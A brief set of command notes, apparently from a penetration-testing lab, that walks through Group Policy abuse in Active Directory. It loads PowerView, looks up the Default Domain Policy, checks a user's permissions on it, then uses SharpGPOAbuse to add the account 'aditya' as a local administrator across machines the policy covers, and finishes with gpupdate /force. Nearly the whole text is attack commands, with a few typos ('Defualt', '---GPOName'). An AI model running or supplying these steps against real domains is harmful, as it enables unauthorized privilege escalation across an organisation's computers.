Initialize powerview
./powerview.ps1
Then check for Default Domain Policy:
Get-GPO -Name "Defualt Domain Policy"
Now after getting Guid to check for permissions:
Get-GPPermission -Guid <id> -TargetType User -TargetName <account name>
Then use SharpGPOAbuse:
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount aditya ---GPOName "Default Domain Policy"
Then:
gpupdate /force